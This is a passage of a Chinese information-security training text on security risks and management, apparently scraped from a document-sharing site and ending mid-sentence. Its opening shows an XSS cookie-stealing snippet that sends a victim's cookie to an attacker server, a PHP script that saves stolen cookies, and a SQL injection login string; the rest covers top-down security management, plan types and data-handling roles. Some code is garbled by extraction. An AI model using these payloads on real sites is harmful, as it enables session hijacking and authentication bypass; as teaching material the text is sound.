信息安全風(fēng)險及分析教材(編輯修改稿)
2025-03-18 18:19 本頁面
【文章內(nèi)容簡介】 網(wǎng)站的攻擊 XSS 跨站腳本 構(gòu)建了個 Javascript 腳本傳遞客戶端的 cookie 到黑客的服務(wù)器 Javascript 腳本可以簡單的這樣寫 var img = new Image()。 = ‘?var=’ + encodeURI()。 然后服務(wù)器端使用 PHP 簡單寫了個腳本保存 Cookie 數(shù)據(jù) ?php if (isset($_GET[‘var’])) { file_put_contents(‘./cookie/’.time().‘.txt’, urldecode($_GET[‘var’]))。 } ? 構(gòu)造 SQL登陸語句 用戶名 : admin 密碼 : 1’ or ‘1’=‘1 其他例子 ? 擊鍵記錄 ? Office文檔掛栽木馬 ? 網(wǎng)頁木馬 ? 木馬捆綁 信息安全管理概述 ? 例一： ?局域網(wǎng)內(nèi)病毒泛濫成災(zāi)。 ? 例二： ?網(wǎng)絡(luò)中為什么會有 ARP欺騙的問題發(fā)生 ? 例三： ?局域網(wǎng)內(nèi)計算機(jī)故障頻繁發(fā)生 ? 例四： ?為什么要給每個用戶管理員權(quán)限 先來分析兩個例子 ? 信息安全的成敗取決于兩個因素：技術(shù)和管理。 ? 技術(shù)是信息安全的構(gòu)筑材料，管理是真正的粘合劑和催化劑。 ? 人們常說， 三分技術(shù)，七分管理 ，可見管理對信息安全的重要性。 ? 信息安全管理（ Information Security Management）作為組織完整的管理體系中一個重要的環(huán)節(jié)，它構(gòu)成了信息安全具有能動性的部分，是指導(dǎo)和控制組織的關(guān)于信息安全風(fēng)險的相互協(xié)調(diào)的活動，其針對對象就是組織的信息資產(chǎn)。 ? 現(xiàn)實世界里大多數(shù)安全事件的發(fā)生和安全隱患的存在，與其說是技術(shù)上的原因，不如說是管理不善造成的，理解并重視管理對于信息安全的關(guān)鍵作用，對于真正實現(xiàn)信息安全目標(biāo)來說尤其重要。 什么是信息安全管理？ 根據(jù)風(fēng)險評估結(jié)果、法律法規(guī)要求、組織業(yè)務(wù)運(yùn)作自身需要來確定控制目標(biāo)與控制措施。 實施所選的安全控制措施。 針對檢查結(jié)果采取應(yīng)對措施，改進(jìn)安全狀況。 依據(jù)策略、程序、標(biāo)準(zhǔn)和法律法規(guī)，對安全措施的實施情況進(jìn)行符合性檢查。 信息安全管理模型 ? 信息安全必須從整體考慮，必須做到 “ 有計劃有目標(biāo)、發(fā)現(xiàn)問題、分析問題、采取措施解決問題、后續(xù)監(jiān)督避免再現(xiàn) ” 這樣全程管理的思路，這就要求建立的是一套完整的信息安全管理體系，這樣的系統(tǒng)工程，只有處于組織最高管理者領(lǐng)導(dǎo)和支持之下，才可能成功 ? 最高管理層通過明確信息安全目標(biāo)和方針為信息安全活動指引方向 ? 最高管理層能夠為信息安全活動提供必要的資源支持 ? 最高管理層能夠在重大問題上做出決策 ? 最高管理層可以協(xié)調(diào)組織不同單位不同環(huán)節(jié)的關(guān)系，提升促動力 ? 說到底，最高管理者是組織信息安全的最終責(zé)任人 組織高管全面負(fù)責(zé)信息安全管理 ? 制定有效的安全管理計劃，可以確保信息安全策略得到恰當(dāng)執(zhí)行 ? 進(jìn)行有效安全管理的途徑，應(yīng)該是自上而下的（ TopDown）： ? 最高管理層負(fù)責(zé)啟動并定義組織的安全方針 ? 管理中層負(fù)責(zé)將安全策略充實成標(biāo)準(zhǔn)、基線、指南和程序，并監(jiān)督執(zhí)行 ? 業(yè)務(wù)經(jīng)理或安全專家負(fù)責(zé)實施安全管理文件中的指定配置 ? 最終用戶負(fù)責(zé)遵守組織所有的安全策略 ? 安全管理計劃小組應(yīng)該開發(fā)三類計劃： ? 戰(zhàn)略計劃（ strategic plan） 是長期計劃（例如 5年），相對穩(wěn)定，定義了組織的目標(biāo)和使命 ? 戰(zhàn)術(shù)計劃（ tactical plan） 是中期計劃（例如 1年），是對實現(xiàn)戰(zhàn)略計劃中既定目標(biāo)的任務(wù)和進(jìn)度的細(xì)節(jié)描述，例如雇用計劃、預(yù)算計劃、維護(hù)計劃、系統(tǒng)開發(fā)計劃等 ? 操作計劃（ operational plan） 是短期的高度細(xì)化的計劃，須經(jīng)常更新（每月或每季度），例如培訓(xùn)計劃、系統(tǒng)部署計劃、產(chǎn)品設(shè)計計劃等 按計劃行事 ? 數(shù)據(jù)收集者（ Data Collector）對數(shù)據(jù)主體（ Data Subject）：準(zhǔn)確（ Accuracy）、隱私（ Privacy）； ? 數(shù)據(jù)保管者（ Data Custodian）對數(shù)據(jù)擁有者（ Data Owner）：可用性（ Availability）、完整性（ Integrity）、保密性（ Confidentiality）； ? 數(shù)據(jù)用戶（ Data Users）對擁有者 /主體（ Owner/Subject）：保密性（ Confidentiality）和完整性； ? 系統(tǒng)用戶（ System Users）對系統(tǒng)擁有者（ System Owner）：可用性（ Availability）和軟件完整性（ Software Integrity）； ? 系統(tǒng)管理者（ System Manager）對用戶（ Users），可用性（ Integrity）、完整性（ In
環(huán)評公示相關(guān)推薦
鄂ICP備17016276號-1